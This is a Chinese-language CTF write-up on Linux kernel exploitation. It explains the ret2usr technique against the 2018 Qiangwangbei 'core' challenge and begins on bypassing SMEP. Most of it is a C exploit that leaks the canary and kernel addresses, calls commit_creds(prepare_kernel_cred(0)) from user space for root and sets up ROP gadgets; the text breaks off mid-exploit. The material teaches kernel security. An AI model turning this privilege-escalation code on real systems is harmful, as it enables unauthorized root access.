一、前言
在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与ROP。而当我们将视角从用户态放到内核态的时候,便是笔者今天想与大家分享的两个利用手段:ret2usr与bypass_smep。
二、ret2usr利用介绍
ret2usr的资料在网上其实并不算多,究其原因是其利用手法相对简单,其本意是利用了内核空间可以访问用户空间这个特性来定向内核代码或数据流指向用户空间,并以ring0的特权级在用户空间完成提权操作。
三、ret2usr例题讲解
这次以Kernel ROP那一篇中介绍过的例题"2018年强网杯 core"来对ret2usr利用手段进行讲解,具体的题目分析在之前的篇章中已经做过具体分析,这边只是简单概述一下模块内容。
在core_ioctl函数中定义的三种功能
0x6677889B:执行core_read函数,存在内存信息泄露,可用来leak canary
0x6677889C:对全局变量off赋值,可用来控制core_read函数中的内存偏移,从而造成泄露问题
0x6677889A:执行core_copy_func函数,配合core_write函数以及对复制的内容长度不严谨从而造成栈溢出隐患
在前一篇Kernel ROP中我们的利用思路具体如下所示。
1、保存返回用户态所需的寄存器信息
2、利用core_read leak canary
3、通过/tmp/kallsyms中的信息获取函数地址与计算ropgadget的偏移
4、利用core_copy_func函数存在的栈溢出控制内核程序流完成提权并返回用户态执行shell
而本篇的ret2usr中我们的利用思路则发生了些许的改变,原先第四步中我们通过劫持内核程序流并构造ropchain来完成的提权步骤,现在我们修改提权方式,控制内核程序流访问user space中的函数指针来完成提权操作,在我们的exp中构建如下的函数。
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
可以看到我们通过函数指针的方式在用户空间执行了commit_creds(prepare_kernel_cred(0)),能过做到这样的本质原因是因为我们在劫持程序流程的时候处在ring0权限,并且因为SMEP保护未开启的原因我们可以从内核空间访问用户空间的代码,所以才能完成提权的操作。 当我们控制内核程序流在用户空间完成提权工作以后,就可以返回用户态并获取rootShell了,完整EXP如下所示。
#include
#include
#include
#include
#include
#include
#include
#include
#define CORE_READ 0x6677889B
#define SET_OFFSET 0x6677889C
#define CORE_COPY_FUNC 0x6677889A
unsigned long long int canary[64] = {0};
unsigned long long int raw_vmlinux_base = 0xffffffff81000000;
unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base;
unsigned long long int user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
//ffffffffb8c9c8e0 T commit_creds
int leak_addr() {
int idx;
char buf[1024];
int fd = open("/tmp/kallsyms", 0);
if (fd < 0) {
puts("[-] ERROR.");
exit(0);
}
puts("[+] Leak Address...");
while (1) {
int i;
for (i = 0; i < sizeof(buf); i++) {
read(fd, buf + i, 1);
if(buf[i] == '\n') {
if (strstr(buf, "commit_creds")) {
sscanf(buf, "%llx", &commit_creds);
printf("[+] Find commit_creds_address: 0x%llx\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
prepare_kernel_cred = vmlinux_base + 0x9cce0;
return 1;
}
else {
i = 0;
}
}
}
}
return 0;
}
void leak_canary(int fd) {
puts("[+] Leak Canary...");
ioctl(fd, SET_OFFSET, 0x40);
ioctl(fd, CORE_READ, canary); //core_read+105
printf("[+] Canary: 0x%llx \n", canary[0]);
}
void get_shell() {
if (getuid() == 0) {
puts("[+] root shell.");
system("/bin/sh");
}
}
void main() {
unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset;
unsigned long long int rop[0x60];
int i = 8;
int fd = open("/proc/core", 'r');
if (fd <= 0) {
puts("[-] open filename 'core' ERROR.");
exit(0);
}
save_status();
leak_addr();
leak_canary(fd);
offset = vmlinux_base - raw_vmlinux_base;
pop_rdi = offset + 0xffffffff81000b2f;
pop_rsi = offset + 0xffffffff810011d6;
pop_rdx = offset + 0xffffffff810a0f49;
pop_rcx = offset + 0xffffffff81021e53;
swapgs = offset + 0xffffffff81a012da;
iretq = offset + 0xffffffff81050ac2;
xchg_rax_rdx = offset + 0xffffffff826684f0; // xchg rax, rdx; ret;
mov_rdi_rax = offset + 0xffffffff8106a6d2;